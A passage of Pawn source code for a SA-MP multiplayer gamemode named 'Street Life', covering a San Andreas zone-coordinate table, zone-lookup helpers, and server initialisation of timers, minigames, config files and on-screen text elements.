    {"Los Flores",                  {2581.70,-1393.40,-89.00,2747.70,-1135.00,110.90}},
    {"Los Santos International",    {1249.60,-2394.30,-89.00,1852.00,-2179.20,110.90}},
    {"Los Santos International",    {1852.00,-2394.30,-89.00,2089.00,-2179.20,110.90}},
    {"Los Santos International",    {1382.70,-2730.80,-89.00,2201.80,-2394.30,110.90}},
    {"Los Santos International",    {1974.60,-2394.30,-39.00,2089.00,-2256.50,60.90}},
    {"Los Santos International",    {1400.90,-2669.20,-39.00,2189.80,-2597.20,60.90}},
    {"Los Santos International",    {2051.60,-2597.20,-39.00,2152.40,-2394.30,60.90}},
    {"Marina",                      {647.70,-1804.20,-89.00,851.40,-1577.50,110.90}},
    {"Marina",                      {647.70,-1577.50,-89.00,807.90,-1416.20,110.90}},
    {"Marina",                      {807.90,-1577.50,-89.00,926.90,-1416.20,110.90}},
    {"Market",                      {787.40,-1416.20,-89.00,1072.60,-1310.20,110.90}},
    {"Market",                      {952.60,-1310.20,-89.00,1072.60,-1130.80,110.90}},
    {"Market",                      {1072.60,-1416.20,-89.00,1370.80,-1130.80,110.90}},
    {"Market",                      {926.90,-1577.50,-89.00,1370.80,-1416.20,110.90}},
    {"Market Station",              {787.40,-1410.90,-34.10,866.00,-1310.20,65.80}},
    {"Martin Bridge",               {-222.10,293.30,0.00,-122.10,476.40,200.00}},
    {"Missionary Hill",             {-2994.40,-811.20,0.00,-2178.60,-430.20,200.00}},
    {"Montgomery",                  {1119.50,119.50,-3.00,1451.40,493.30,200.00}},
    {"Montgomery",                  {1451.40,347.40,-6.10,1582.40,420.80,200.00}},
    {"Montgomery Intersection",     {1546.60,208.10,0.00,1745.80,347.40,200.00}},
    {"Montgomery Intersection",     {1582.40,347.40,0.00,1664.60,401.70,200.00}},
    {"Mulholland",                  {1414.00,-768.00,-89.00,1667.60,-452.40,110.90}},
    {"Mulholland",                  {1281.10,-452.40,-89.00,1641.10,-290.90,110.90}},
    {"Mulholland",                  {1269.10,-768.00,-89.00,1414.00,-452.40,110.90}},
    {"Mulholland",                  {1357.00,-926.90,-89.00,1463.90,-768.00,110.90}},
    {"Mulholland",                  {1318.10,-910.10,-89.00,1357.00,-768.00,110.90}},
    {"Mulholland",                  {1169.10,-910.10,-89.00,1318.10,-768.00,110.90}},
    {"Mulholland",                  {768.60,-954.60,-89.00,952.60,-860.60,110.90}},
    {"Mulholland",                  {687.80,-860.60,-89.00,911.80,-768.00,110.90}},
    {"Mulholland",                  {737.50,-768.00,-89.00,1142.20,-674.80,110.90}},
    {"Mulholland",                  {1096.40,-910.10,-89.00,1169.10,-768.00,110.90}},
    {"Mulholland",                  {952.60,-937.10,-89.00,1096.40,-860.60,110.90}},
    {"Mulholland",                  {911.80,-860.60,-89.00,1096.40,-768.00,110.90}},
    {"Mulholland",                  {861.00,-674.80,-89.00,1156.50,-600.80,110.90}},
    {"Mulholland Intersection",     {1463.90,-1150.80,-89.00,1812.60,-768.00,110.90}},
    {"North Rock",                  {2285.30,-768.00,0.00,2770.50,-269.70,200.00}},
    {"Ocean Docks",                 {2373.70,-2697.00,-89.00,2809.20,-2330.40,110.90}},
    {"Ocean Docks",                 {2201.80,-2418.30,-89.00,2324.00,-2095.00,110.90}},
    {"Ocean Docks",                 {2324.00,-2302.30,-89.00,2703.50,-2145.10,110.90}},
    {"Ocean Docks",                 {2089.00,-2394.30,-89.00,2201.80,-2235.80,110.90}},
    {"Ocean Docks",                 {2201.80,-2730.80,-89.00,2324.00,-2418.30,110.90}},
    {"Ocean Docks",                 {2703.50,-2302.30,-89.00,2959.30,-2126.90,110.90}},
    {"Ocean Docks",                 {2324.00,-2145.10,-89.00,2703.50,-2059.20,110.90}},
    {"Ocean Flats",                 {-2994.40,277.40,-9.10,-2867.80,458.40,200.00}},
    {"Ocean Flats",                 {-2994.40,-222.50,-0.00,-2593.40,277.40,200.00}},
    {"Ocean Flats",                 {-2994.40,-430.20,-0.00,-2831.80,-222.50,200.00}},
    {"Octane Springs",              {338.60,1228.50,0.00,664.30,1655.00,200.00}},
    {"Old Venturas Strip",          {2162.30,2012.10,-89.00,2685.10,2202.70,110.90}},
    {"Palisades",                   {-2994.40,458.40,-6.10,-2741.00,1339.60,200.00}},
    {"Palomino Creek",              {2160.20,-149.00,0.00,2576.90,228.30,200.00}},
    {"Paradiso",                    {-2741.00,793.40,-6.10,-2533.00,1268.40,200.00}},
    {"Pershing Square",             {1440.90,-1722.20,-89.00,1583.50,-1577.50,110.90}},
    {"Pilgrim",                     {2437.30,1383.20,-89.00,2624.40,1783.20,110.90}},
    {"Pilgrim",                     {2624.40,1383.20,-89.00,2685.10,1783.20,110.90}},
    {"Pilson Intersection",         {1098.30,2243.20,-89.00,1377.30,2507.20,110.90}},
    {"Pirates in Men's Pants",      {1817.30,1469.20,-89.00,2027.40,1703.20,110.90}},
    {"Playa del Seville",           {2703.50,-2126.90,-89.00,2959.30,-1852.80,110.90}},
    {"Prickle Pine",                {1534.50,2583.20,-89.00,1848.40,2863.20,110.90}},
    {"Prickle Pine",                {1117.40,2507.20,-89.00,1534.50,2723.20,110.90}},
    {"Prickle Pine",                {1848.40,2553.40,-89.00,1938.80,2863.20,110.90}},
    {"Prickle Pine",                {1938.80,2624.20,-89.00,2121.40,2861.50,110.90}},
    {"Queens",                      {-2533.00,458.40,0.00,-2329.30,578.30,200.00}},
    {"Queens",                      {-2593.40,54.70,0.00,-2411.20,458.40,200.00}},
    {"Queens",                      {-2411.20,373.50,0.00,-2253.50,458.40,200.00}},
    {"Randolph Industrial",         {1558.00,596.30,-89.00,1823.00,823.20,110.90}},
    {"Redsands East",               {1817.30,2011.80,-89.00,2106.70,2202.70,110.90}},
    {"Redsands East",               {1817.30,2202.70,-89.00,2011.90,2342.80,110.90}},
    {"Redsands East",               {1848.40,2342.80,-89.00,2011.90,2478.40,110.90}},
    {"Redsands West",               {1236.60,1883.10,-89.00,1777.30,2142.80,110.90}},
    {"Redsands West",               {1297.40,2142.80,-89.00,1777.30,2243.20,110.90}},
    {"Redsands West",               {1377.30,2243.20,-89.00,1704.50,2433.20,110.90}},
    {"Redsands West",               {1704.50,2243.20,-89.00,1777.30,2342.80,110.90}},
    {"Regular Tom",                 {-405.70,1712.80,-3.00,-276.70,1892.70,200.00}},
    {"Richman",                     {647.50,-1118.20,-89.00,787.40,-954.60,110.90}},
    {"Richman",                     {647.50,-954.60,-89.00,768.60,-860.60,110.90}},
    {"Richman",                     {225.10,-1369.60,-89.00,334.50,-1292.00,110.90}},
    {"Richman",                     {225.10,-1292.00,-89.00,466.20,-1235.00,110.90}},
    {"Richman",                     {72.60,-1404.90,-89.00,225.10,-1235.00,110.90}},
    {"Richman",                     {72.60,-1235.00,-89.00,321.30,-1008.10,110.90}},
    {"Richman",                     {321.30,-1235.00,-89.00,647.50,-1044.00,110.90}},
    {"Richman",                     {321.30,-1044.00,-89.00,647.50,-860.60,110.90}},
    {"Richman",                     {321.30,-860.60,-89.00,687.80,-768.00,110.90}},
    {"Richman",                     {321.30,-768.00,-89.00,700.70,-674.80,110.90}},
    {"Robada Intersection",         {-1119.00,1178.90,-89.00,-862.00,1351.40,110.90}},
    {"Roca Escalante",              {2237.40,2202.70,-89.00,2536.40,2542.50,110.90}},
    {"Roca Escalante",              {2536.40,2202.70,-89.00,2625.10,2442.50,110.90}},
    {"Rockshore East",              {2537.30,676.50,-89.00,2902.30,943.20,110.90}},
    {"Rockshore West",              {1997.20,596.30,-89.00,2377.30,823.20,110.90}},
    {"Rockshore West",              {2377.30,596.30,-89.00,2537.30,788.80,110.90}},
    {"Rodeo",                       {72.60,-1684.60,-89.00,225.10,-1544.10,110.90}},
    {"Rodeo",                       {72.60,-1544.10,-89.00,225.10,-1404.90,110.90}},
    {"Rodeo",                       {225.10,-1684.60,-89.00,312.80,-1501.90,110.90}},
    {"Rodeo",                       {225.10,-1501.90,-89.00,334.50,-1369.60,110.90}},
    {"Rodeo",                       {334.50,-1501.90,-89.00,422.60,-1406.00,110.90}},
    {"Rodeo",                       {312.80,-1684.60,-89.00,422.60,-1501.90,110.90}},
    {"Rodeo",                       {422.60,-1684.60,-89.00,558.00,-1570.20,110.90}},
    {"Rodeo",                       {558.00,-1684.60,-89.00,647.50,-1384.90,110.90}},
    {"Rodeo",                       {466.20,-1570.20,-89.00,558.00,-1385.00,110.90}},
    {"Rodeo",                       {422.60,-1570.20,-89.00,466.20,-1406.00,110.90}},
    {"Rodeo",                       {466.20,-1385.00,-89.00,647.50,-1235.00,110.90}},
    {"Rodeo",                       {334.50,-1406.00,-89.00,466.20,-1292.00,110.90}},
    {"Royal Casino",                {2087.30,1383.20,-89.00,2437.30,1543.20,110.90}},
    {"San Andreas Sound",           {2450.30,385.50,-100.00,2759.20,562.30,200.00}},
    {"Santa Flora",                 {-2741.00,458.40,-7.60,-2533.00,793.40,200.00}},
    {"Santa Maria Beach",           {342.60,-2173.20,-89.00,647.70,-1684.60,110.90}},
    {"Santa Maria Beach",           {72.60,-2173.20,-89.00,342.60,-1684.60,110.90}},
    {"Shady Cabin",                 {-1632.80,-2263.40,-3.00,-1601.30,-2231.70,200.00}},
    {"Shady Creeks",                {-1820.60,-2643.60,-8.00,-1226.70,-1771.60,200.00}},
    {"Shady Creeks",                {-2030.10,-2174.80,-6.10,-1820.60,-1771.60,200.00}},
    {"Sobell Rail Yards",           {2749.90,1548.90,-89.00,2923.30,1937.20,110.90}},
    {"Spinybed",                    {2121.40,2663.10,-89.00,2498.20,2861.50,110.90}},
    {"Starfish Casino",             {2437.30,1783.20,-89.00,2685.10,2012.10,110.90}},
    {"Starfish Casino",             {2437.30,1858.10,-39.00,2495.00,1970.80,60.90}},
    {"Starfish Casino",             {2162.30,1883.20,-89.00,2437.30,2012.10,110.90}},
    {"Temple",                      {1252.30,-1130.80,-89.00,1378.30,-1026.30,110.90}},
    {"Temple",                      {1252.30,-1026.30,-89.00,1391.00,-926.90,110.90}},
    {"Temple",                      {1252.30,-926.90,-89.00,1357.00,-910.10,110.90}},
    {"Temple",                      {952.60,-1130.80,-89.00,1096.40,-937.10,110.90}},
    {"Temple",                      {1096.40,-1130.80,-89.00,1252.30,-1026.30,110.90}},
    {"Temple",                      {1096.40,-1026.30,-89.00,1252.30,-910.10,110.90}},
    {"The Camel's Toe",             {2087.30,1203.20,-89.00,2640.40,1383.20,110.90}},
    {"The Clown's Pocket",          {2162.30,1783.20,-89.00,2437.30,1883.20,110.90}},
    {"The Emerald Isle",            {2011.90,2202.70,-89.00,2237.40,2508.20,110.90}},
    {"The Farm",                    {-1209.60,-1317.10,114.90,-908.10,-787.30,251.90}},
    {"Four Dragons Casino",         {1817.30,863.20,-89.00,2027.30,1083.20,110.90}},
    {"The High Roller",             {1817.30,1283.20,-89.00,2027.30,1469.20,110.90}},
    {"The Mako Span",               {1664.60,401.70,0.00,1785.10,567.20,200.00}},
    {"The Panopticon",              {-947.90,-304.30,-1.10,-319.60,327.00,200.00}},
    {"The Pink Swan",               {1817.30,1083.20,-89.00,2027.30,1283.20,110.90}},
    {"The Sherman Dam",             {-968.70,1929.40,-3.00,-481.10,2155.20,200.00}},
    {"The Strip",                   {2027.40,863.20,-89.00,2087.30,1703.20,110.90}},
    {"The Strip",                   {2106.70,1863.20,-89.00,2162.30,2202.70,110.90}},
    {"The Strip",                   {2027.40,1783.20,-89.00,2162.30,1863.20,110.90}},
    {"The Strip",                   {2027.40,1703.20,-89.00,2137.40,1783.20,110.90}},
    {"The Visage",                  {1817.30,1863.20,-89.00,2106.70,2011.80,110.90}},
    {"The Visage",                  {1817.30,1703.20,-89.00,2027.40,1863.20,110.90}},
    {"Unity Station",               {1692.60,-1971.80,-20.40,1812.60,-1932.80,79.50}},
    {"Valle Ocultado",              {-936.60,2611.40,2.00,-715.90,2847.90,200.00}},
    {"Verdant Bluffs",              {930.20,-2488.40,-89.00,1249.60,-2006.70,110.90}},
    {"Verdant Bluffs",              {1073.20,-2006.70,-89.00,1249.60,-1842.20,110.90}},
    {"Verdant Bluffs",              {1249.60,-2179.20,-89.00,1692.60,-1842.20,110.90}},
    {"Verdant Meadows",             {37.00,2337.10,-3.00,435.90,2677.90,200.00}},
    {"Verona Beach",                {647.70,-2173.20,-89.00,930.20,-1804.20,110.90}},
    {"Verona Beach",                {930.20,-2006.70,-89.00,1073.20,-1804.20,110.90}},
    {"Verona Beach",                {851.40,-1804.20,-89.00,1046.10,-1577.50,110.90}},
    {"Verona Beach",                {1161.50,-1722.20,-89.00,1323.90,-1577.50,110.90}},
    {"Verona Beach",                {1046.10,-1722.20,-89.00,1161.50,-1577.50,110.90}},
    {"Vinewood",                    {787.40,-1310.20,-89.00,952.60,-1130.80,110.90}},
    {"Vinewood",                    {787.40,-1130.80,-89.00,952.60,-954.60,110.90}},
    {"Vinewood",                    {647.50,-1227.20,-89.00,787.40,-1118.20,110.90}},
    {"Vinewood",                    {647.70,-1416.20,-89.00,787.40,-1227.20,110.90}},
    {"Whitewood Estates",           {883.30,1726.20,-89.00,1098.30,2507.20,110.90}},
    {"Whitewood Estates",           {1098.30,1726.20,-89.00,1197.30,2243.20,110.90}},
    {"Willowfield",                 {1970.60,-2179.20,-89.00,2089.00,-1852.80,110.90}},
    {"Willowfield",                 {2089.00,-2235.80,-89.00,2201.80,-1989.90,110.90}},
    {"Willowfield",                 {2089.00,-1989.90,-89.00,2324.00,-1852.80,110.90}},
    {"Willowfield",                 {2201.80,-2095.00,-89.00,2324.00,-1989.90,110.90}},
    {"Willowfield",                 {2541.70,-1941.40,-89.00,2703.50,-1852.80,110.90}},
    {"Willowfield",                 {2324.00,-2059.20,-89.00,2541.70,-1852.80,110.90}},
    {"Willowfield",                 {2541.70,-2059.20,-89.00,2703.50,-1941.40,110.90}},
    {"Yellow Bell Station",         {1377.40,2600.40,-21.90,1492.40,2687.30,78.00}},
    // Citys Zones
    {"Los Santos",                  {44.60,-2892.90,-242.90,2997.00,-768.00,900.00}},
    {"Las Venturas",                {869.40,596.30,-242.90,2997.00,2993.80,900.00}},
    {"Bone County",                 {-480.50,596.30,-242.90,869.40,2993.80,900.00}},
    {"Tierra Robada",               {-2997.40,1659.60,-242.90,-480.50,2993.80,900.00}},
    {"Tierra Robada",               {-1213.90,596.30,-242.90,-480.50,1659.60,900.00}},
    {"San Fierro",                  {-2997.40,-1115.50,-242.90,-1213.90,1659.60,900.00}},
    {"Red County",                  {-1213.90,-768.00,-242.90,2997.00,596.30,900.00}},
    {"Flint County",                {-1213.90,-2892.90,-242.90,44.60,-768.00,900.00}},
    {"Whetstone",                   {-2997.40,-2892.90,-242.90,-1213.90,-1115.50,900.00}}
};

stock LuX_DistanceToPoint(playerid)
{
    new Float:LPlayerX, Float:LPlayerY, Float:LPlayerZ, Float:LReadPos;
    GetPlayerPos(playerid, LPlayerX, LPlayerY, LPlayerZ);
    LReadPos = floatsqroot(floatpower(floatabs(floatsub(LPlayerX, VehPosX[playerid])), 2)+floatpower(floatabs(floatsub(LPlayerY, VehPosY[playerid])), 2)+floatpower(floatabs(floatsub(LPlayerZ, VehPosZ[playerid])), 2));
    return floatround(LReadPos);
}

stock VehicleReadPosition(playerid)
{
    new Float:LReadX, Float:LReadY, Float:LReadZ;
    GetPlayerPos(playerid, LReadX, LReadY, LReadZ);
    VehPosX[playerid]=LReadX; VehPosY[playerid]=LReadY; VehPosZ[playerid]=LReadZ;
}

stock PlayerZone(playerid, zone[])
{
    new ReadTmpZone[MAX_ZONE_NAME];
    GetPlayer3DZone(playerid, ReadTmpZone, sizeof(ReadTmpZone)); for(new i = 0; i != sizeof(SanAndreasZones); i++)
    {
        if(strfind(ReadTmpZone, zone, true) != -1)
        return 1;
    }
    return 0;
}

stock GetPlayer2DZone(playerid, zone[], len)
{
    new Float:x, Float:y, Float:z;
    GetPlayerPos(playerid, x, y, z);
     for(new i = 0; i != sizeof(SanAndreasZones); i++ )
    {
        if(x >= SanAndreasZones[i][Zone_Area][0] && x <= SanAndreasZones[i][Zone_Area][3] && y >= SanAndreasZones[i][Zone_Area][1] && y <= SanAndreasZones[i][Zone_Area][4])
        {
            return format(zone, len, SanAndreasZones[i][Zone_Name], 0);
        }
    }
    return 0;
}


stock GetVehicle2DZone(vehicleid, zone[], len)
{
    new Float:x, Float:y, Float:z;
    GetVehiclePos(vehicleid, x, y, z);
     for(new i = 0; i != sizeof(SanAndreasZones); i++ )
    {
        if(x >= SanAndreasZones[i][Zone_Area][0] && x <= SanAndreasZones[i][Zone_Area][3] && y >= SanAndreasZones[i][Zone_Area][1] && y <= SanAndreasZones[i][Zone_Area][4])
        {
            return format(zone, len, SanAndreasZones[i][Zone_Name], 0);
        }
    }
    return 0;
}

stock GetPlayer3DZone(playerid, zone[], len)
{
    new Float:x, Float:y, Float:z;
    GetPlayerPos(playerid, x, y, z);
     for(new i = 0; i != sizeof(SanAndreasZones); i++ )
    {
        if(x >= SanAndreasZones[i][Zone_Area][0] && x <= SanAndreasZones[i][Zone_Area][3] && y >= SanAndreasZones[i][Zone_Area][1] && y <= SanAndreasZones[i][Zone_Area][4] && z >= SanAndreasZones[i][Zone_Area][2] && z <= SanAndreasZones[i][Zone_Area][5])
        {
            return format(zone, len, SanAndreasZones[i][Zone_Name], 0);
        }
    }
    return 0;
}

stock IsFolderValid(foldername[])
{
    new foldername2[256];
    format(foldername2, 256, "%s", foldername);
    new len2 = strlen(foldername2);
    if(foldername2[len2-1] == '/') foldername2[len2-1] = 0;

    new way[256];
    format(way, 256, "%s/test%d.%04dp", foldername2, random(INFINITY), random(10000));

    new File:file = fopen(way, io_write);
    if(file)
    {
        fclose(file);
        fremove(way);
        return 1;
    }
    return 0;
}

main() {}

public OnGameModeInit()
{
    //==========================================================================
    new SGMT_format[20];
    format(SGMT_format,20,"Street Life %s",GAMEMODE_VERSION);
    SetGameModeText(SGMT_format);
    //==========================================================================
    if(!IsFolderValid("SL"))
    {
        print("Zložka \"scriptfiles/SL/\" nieje vytvorená! Server sa vypína!");
        return SendRconCommand("exit");
    }
    if(!IsFolderValid("SL/Server"))
    {
        print("Zložka \"scriptfiles/SL/Server/\" nieje vytvorená! Server sa vypína!");
        return SendRconCommand("exit");
    }
    if(!IsFolderValid("SL/Server/Houses"))
    {
        print("Zložka \"scriptfiles/SL/Server/Houses/\" nieje vytvorená! Server sa vypína!");
        return SendRconCommand("exit");
    }
    if(!IsFolderValid("SL/Server/Firms"))
    {
        print("Zložka \"scriptfiles/SL/Server/Firms/\" nieje vytvorená! Server sa vypína!");
        return SendRconCommand("exit");
    }
    if(!IsFolderValid("SL/Server/Clans"))
    {
        print("Zložka \"scriptfiles/SL/Server/Clans/\" nieje vytvorená! Server sa vypína!");
        return SendRconCommand("exit");
    }
    if(!IsFolderValid("SL/Server/MobilNumbers"))
    {
        print("Zložka \"scriptfiles/SL/Server/MobilNumbers/\" nieje vytvorená! Server sa vypína!");
        return SendRconCommand("exit");
    }
    //==========================================================================
    print("+-------------------------------------------+");
    print("|       ~  GameMode: Street Life  ~         |");
    printf("|            ~  Version: %s  ~            |",GAMEMODE_VERSION);
    print("|          ~  Created by: LYRIcS  ~         |");
    print("+-------------------------------------------+");
    //==========================================================================

    print("nacitavanie premennych a nastavenia...");

    AllowInteriorWeapons(1);
    UsePlayerPedAnims();
    ShowPlayerMarkers(1);
    ShowNameTags(1);
    DisableInteriorEnterExits();
    EnableStuntBonusForAll(0);
    SetRandomWeather();

    AddPlayerClass(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

    Server[Hours] = random(24);
    Server[Minutes] = random(60);

    Server[TimeUpTimer] = SetTimer("TimeUp", 1000, 1);
    SetTimer("ServerMessages", 150000, 1);
    SetTimer("SendMessageAboutBestClans", 200000, 1);
    Server[WeatherTimer] = SetTimer("SetRandomWeather", 500000+random(180000), 0);

    Server[LottoCash] = 500000 + random(100000);
    NotebookGamesTimerBool=false;
    Drag[State]=0;
    Drag[State]=0;
    Drag[Reward]=0;
    Drag[RaceTime]=0;
    Drag[DragTimer]=0;
    Drag[StartTime]=0;
    Drag[StartTimer]=0;
    Drag[StartMoney]=0;
    Game[ME2_State]=0;
    Game[ME2_Players]=0;
    Game[ME2_StartTime]=21;
    Game[ME2_MaxPlayers]=12;
    Game[NFSSA_State]=0;
    Game[NFSSA_Players]=0;
    Game[NFSSA_StartTime]=21;
    Game[NFSSA_MaxPlayers]=5;
    Game[D_State]=0;
    Game[D_Players]=0;
    Game[D_StartTime]=21;
    Game[D_MaxPlayers]=20;
    Game[TA_Players]=0;
    Game[TA_T1Kills]=0;
    Game[TA_T2Kills]=0;
    Game[SP_Players]=0;
    Game[DA_State]=0;
    Game[DA_Players]=0;
    Game[DA_StartTime]=11;
    Game[DTC_Players]=0;
    Game[MTBR_State]=0;
    Game[MTBR_Players]=0;
    Game[MTBR_StartTime]=21;
    Game[MTBR_MaxPlayers]=4;
    
    CarShopVehicleSpawnPos[0][0] = -1973.580;
    CarShopVehicleSpawnPos[1][0] = 288.121;
    CarShopVehicleSpawnPos[2][0] = 35.121;
    CarShopVehicleSpawnPos[3][0] = 90.000;
    CarShopVehicleSpawnPos[0][1] = -1653.07238770;
    CarShopVehicleSpawnPos[1][1] = 1223.53515625;
    CarShopVehicleSpawnPos[2][1] = 7.10989618;
    CarShopVehicleSpawnPos[3][1] = 224.00000000;
    CarShopVehicleSpawnPos[0][2] = 2127.34448242;
    CarShopVehicleSpawnPos[1][2] = -1135.18786621;
    CarShopVehicleSpawnPos[2][2] = 25.49091148;
    CarShopVehicleSpawnPos[3][2] = 357.99475098;
    CarShopVehicleSpawnPos[0][3] = 382.49481201;
    CarShopVehicleSpawnPos[1][3] = 2537.91210938;
    CarShopVehicleSpawnPos[2][3] = 17.50000000;
    CarShopVehicleSpawnPos[3][3] = 180.00000000;
    CarShopVehicleSpawnPos[0][4] = 2118.24023438;
    CarShopVehicleSpawnPos[1][4] = -2078.07519531;
    CarShopVehicleSpawnPos[2][4] = 13.48458004;
    CarShopVehicleSpawnPos[3][4] = 133.98925781;
    CarShopVehicleSpawnPos[0][5] = 2496.61376953;
    CarShopVehicleSpawnPos[1][5] = -1751.42089844;
    CarShopVehicleSpawnPos[2][5] = 13.39268589;
    CarShopVehicleSpawnPos[3][5] = 3.98950195;
    CarShopVehicleSpawnPos[0][6] = -2595.05273438;
    CarShopVehicleSpawnPos[1][6] = 327.91088867;
    CarShopVehicleSpawnPos[2][6] = 4.35997725;
    CarShopVehicleSpawnPos[3][6] = 90.24145508;
    CarShopVehicleSpawnPos[0][7] = 1628.29614258;
    CarShopVehicleSpawnPos[1][7] = 565.77221680;
    CarShopVehicleSpawnPos[2][7] = 0.50000000;
    CarShopVehicleSpawnPos[3][7] = 180.24169922;
    CarShopVehicleSpawnPos[0][8] = 847.768;
    CarShopVehicleSpawnPos[1][8] = -1822.796;
    CarShopVehicleSpawnPos[2][8] = 12.004;
    CarShopVehicleSpawnPos[3][8] = 90.000;

    for(new b=0; b<MAX_CREATED_BOMBS; b++)
    {
        INV_Bomb_M_S[b]=false;
        INV_BombStatus[b]=false;
    }

    for(new m=0; m<12; m++)
    {
        switch(random(2))
        {
            case 0: MarihuanaPlantLastS[m]=true;
            case 1: MarihuanaPlantLastS[m]=false;
        }
    }

    SANEWS[State]=false;
    SANEWS[CameraPos]=false;
    SANEWS[CameraLookAt]=false;

    Server[ConP]=-1;
    Server[CreatedBombs]=0;
    Server[A_Vehicles]=0;
    
    CrackPickup[0] = CreatePickup(1239, 23, -2162.2421, -263.7966, 36.5156, 0);
    CrackPickup[1] = CreatePickup(1239, 23, -2158.9157, -263.7966, 36.5156, 0);
    CrackPickup[2] = CreatePickup(1239, 23, -2155.3835, -263.7966, 36.5156, 0);

    for(new c=0; c<3; c++)
    {
        CrackStatus[c]=false;
        CrackTimeLeft[c]=-1;
        CrackPlayerID[c]=-1;
        CrackItems[c]=0;
    }

    for(new c=0; c<MAX_CLANS; c++)
    {
        for(new s=0; s<5; s++)
        {
            ClanVehicleNeons[s][c] = false;
        }
    }

    print("* Premenné a nastavenia boli nacitane!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Vytvaranie suborov a nacitanie suborov...");

    new HSway[64]="SL/Server/HighScore.cfg";

    if(!dini_Exists(HSway))
    {
        dini_Create(HSway);

        dini_IntSet(HSway, "Kills", 0);
        dini_Set(HSway   , "KillerN", "-none-");
        dini_IntSet(HSway, "BankMoney", 0);
        dini_Set(HSway   , "RichmanN", "-none-");
        dini_IntSet(HSway, "Deaths", 0);
        dini_Set(HSway   , "ZombieN", "-none-");
        dini_FloatSet(HSway, "DragTime", 60.00000000);
        dini_Set(HSway   , "Name", "-none-");
        dini_IntSet(HSway, "Hours", 0);
        dini_IntSet(HSway, "Minutes", 0);
        dini_Set(HSway   , "ManiakN", "-none-");
    }
    //<><><><><><><><><><><><><><><><><><><><><><><><><><>
    new way2[32];
    format(way2,32,"SL/Server/Info.cfg");

    if(!dini_Exists(way2))
    {
        dini_Create(way2);
        dini_IntSet(way2, "Connects", 0);
        Server[Connects] = 0;
    }
    else Server[Connects] = dini_Int(way2,"Connects");
    //<><><><><><><><><><><><><><><><><><><><><><><><><><>
    if(!dini_Exists("SL/Server/AllPlayers.cfg"))
    {
        dini_Create("SL/Server/AllPlayers.cfg");
    }
    //<><><><><><><><><><><><><><><><><><><><><><><><><><>
    if(!dini_Exists("SL/Server/ServerTime.cfg"))
    {
        dini_Create("SL/Server/ServerTime.cfg");
        dini_IntSet("SL/Server/ServerTime.cfg","Time",0);
    }
    //<><><><><><><><><><><><><><><><><><><><><><><><><><>
    for(new h=0; h<MAX_HOUSES; h++)
    {
        new way[32];
        format(way,32,"SL/Server/Houses/House%d.cfg",h);
        House_V[h][State] = dini_Int(way,"State");
        House_V[h][Lock] = 0;
    }
    //<><><><><><><><><><><><><><><><><><><><><><><><><><>
    dini_Create("SL/Server/MobilNumbers/999999.cfg");
    dini_IntSet("SL/Server/MobilNumbers/999999.cfg", "MobilNumber", 999999);        // telefonne cislo
    dini_Set   ("SL/Server/MobilNumbers/999999.cfg", "Majitel", "SERVER");         // meno majitela mobilu
    dini_IntSet("SL/Server/MobilNumbers/999999.cfg", "Contacts", 0);               // nema ziadne kontakty
    dini_IntSet("SL/Server/MobilNumbers/999999.cfg", "Ringtone", 1);               // nastavi vyzvanaci ton cislo 1 (standard)
    dini_IntSet("SL/Server/MobilNumbers/999999.cfg", "RT_Lenght", 5);               // nastavi dlzku vyzvanania na 5 sekund
    dini_IntSet("SL/Server/MobilNumbers/999999.cfg", "Songs", 0);                  // nema ziadne pesnicky
    dini_IntSet("SL/Server/MobilNumbers/999999.cfg", "Messages", 0);              // nema ziadne spravy

    print("* Files has been created and loaded!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating textdrwas...");

    PRespectTD_Box = TextDrawCreate(621.000000, 292.255000, " ~n~ ");
    TextDrawBackgroundColor(PRespectTD_Box, 255);
    TextDrawFont(PRespectTD_Box, 1);
    TextDrawLetterSize(PRespectTD_Box, 0.500000, 1.25);
    TextDrawColor(PRespectTD_Box, 0x000000FF);
    TextDrawSetOutline(PRespectTD_Box, 0);
    TextDrawSetProportional(PRespectTD_Box, 1);
    TextDrawSetShadow(PRespectTD_Box, 0);
    TextDrawUseBox(PRespectTD_Box, 1);
    TextDrawBoxColor(PRespectTD_Box, 0x000000FF);
    TextDrawTextSize(PRespectTD_Box, 496.000000, 0.000000);
    //-------------------------
    PRespectTD_Text = TextDrawCreate(500.000000, 292.000000, "~b~RESPECT");
    TextDrawBackgroundColor(PRespectTD_Text, 0x000000FF);
    TextDrawFont(PRespectTD_Text, 3);
    TextDrawLetterSize(PRespectTD_Text, 0.460000, 0.799998);
    TextDrawColor(PRespectTD_Text, 0x000000FF);
    TextDrawSetOutline(PRespectTD_Text, 1);
    TextDrawSetProportional(PRespectTD_Text, 1);
    TextDrawSetShadow(PRespectTD_Text, 0);
    //-------------------------
    PSkillTD_Box = TextDrawCreate(621.000000, 312.255000, " ~n~ ");
    TextDrawBackgroundColor(PSkillTD_Box, 255);
    TextDrawFont(PSkillTD_Box, 1);
    TextDrawLetterSize(PSkillTD_Box, 0.500000, 1.25);
    TextDrawColor(PSkillTD_Box, 0x000000FF);
    TextDrawSetOutline(PSkillTD_Box, 0);
    TextDrawSetProportional(PSkillTD_Box, 1);
    TextDrawSetShadow(PSkillTD_Box, 0);
    TextDrawUseBox(PSkillTD_Box, 1);
    TextDrawBoxColor(PSkillTD_Box, 0x000000FF);
    TextDrawTextSize(PSkillTD_Box, 496.000000, 0.000000);
    //-------------------------
    PSkillTD_Text = TextDrawCreate(500.000000, 312.000000, "~y~SKILL");
    TextDrawBackgroundColor(PSkillTD_Text, 0x000000FF);
    TextDrawFont(PSkillTD_Text, 3);
    TextDrawLetterSize(PSkillTD_Text, 0.460000, 0.799998);
    TextDrawColor(PSkillTD_Text, 0x000000FF);
    TextDrawSetOutline(PSkillTD_Text, 1);
    TextDrawSetProportional(PSkillTD_Text, 1);
    TextDrawSetShadow(PSkillTD_Text, 0);
    //-------------------------
    SpeedMeter_Box = TextDrawCreate(621.000000, 372.000000, "  ");
    TextDrawBackgroundColor(SpeedMeter_Box, 255);
    TextDrawFont(SpeedMeter_Box, 1);
    TextDrawLetterSize(SpeedMeter_Box, 0.599999, 5.299997);
    TextDrawColor(SpeedMeter_Box, -1);
    TextDrawSetOutline(SpeedMeter_Box, 0);
    TextDrawSetProportional(SpeedMeter_Box, 1);
    TextDrawSetShadow(SpeedMeter_Box, 1);
